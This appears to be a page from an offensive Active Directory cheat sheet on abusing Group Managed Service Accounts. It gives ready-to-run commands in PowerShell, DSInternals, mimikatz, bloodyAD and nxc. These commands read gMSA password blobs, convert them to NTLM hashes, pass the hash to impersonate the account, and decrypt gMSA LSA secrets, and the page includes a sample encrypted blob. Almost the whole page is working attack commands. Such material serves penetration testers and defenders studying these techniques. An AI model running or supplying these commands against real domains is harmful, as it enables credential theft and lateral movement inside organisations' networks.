Group Managed Service Account (gMSA) provides automatic password management, SPN management and delegated administration for service accounts across multiple servers
Recommended to protect from Kerberoast type attacks
Find Accounts
Copy # AD Module
Get-ADServiceAccount - Filter *
# PowerView
Get-DomainObject - LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)' Principals that can read the password blob
Copy # AD Module
Get-ADServiceAccount - Identity jumpone - Properties * | select PrincipalsAllowedToRetrieveManagedPassword Get NTLM Hash
https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword
Copy $Passwordblob = ( Get-ADServiceAccount - Identity jumpone - Properties msDS - ManagedPassword). 'msDS-ManagedPassword'
Import-Module C:\AD\Tools\DSInternals_v4. 7 \DSInternals\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash - Password $decodedpwd.SecureCurrentPassword PtH
Copy sekurlsa::pth /user:jumpone /domain:us.techcorp.local /ntlm:<ntlm_hash> BloodyAD
Copy bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword NXC
Extract gmsa credentials accounts
Copy nxc ldap <ip> -u <user> -p <pass> --gmsa Convert gSAM id, convert gmsa lsa to ntlm ...
Copy nxc ldap <ip> -u <user> -p <pass> --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
Copy nxc ldap <ip> -u <user> -p <pass> --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000' Golden gMSA
Only privilege accounts such as Domain Admins, Enterprise Admins or SYSTEM can retrieve the KDS root key.
